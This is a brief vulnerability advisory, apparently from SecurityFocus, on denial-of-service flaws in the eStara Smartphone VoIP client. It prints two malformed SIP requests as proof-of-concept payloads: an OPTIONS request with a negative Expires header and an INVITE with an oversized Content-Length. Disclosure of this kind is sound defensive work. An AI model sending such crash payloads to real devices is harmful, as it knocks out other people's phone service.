source: https://www.securityfocus.com/bid/16629/info

eStara Smartphone is prone to multiple denial-of-service vulnerabilities when processing malformed VOIP headers. Successful exploitation will cause the device to crash.

For the negative 'Expires' field issue:

OPTIONS sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3334;branch=z9hG4bK00001793z9hG4bK.00001FDB
From: 1793 <sip:a@127.0.0.1>;tag=1793
To: zwell <sip:a@127.0.0.1>
Call-ID: 1407@172.16.3.6
CSeq: 5185 OPTIONS
Expires: -127

For the 'Content-Length' field issue:

INVITE sip:a@127.0.0.1 SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00002386z9hG4bK.0000234E
From: 2386 <sip:a@127.0.0.1>;tag=2386
To: zwell <sip:a@127.0.0.1>
Call-ID: 31442@172.16.3.6
CSeq: 4896 INVITE
Content-Type: application/sdp
Content-Length: 1111111111

v=0
o=2386 2386 2386 IN IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000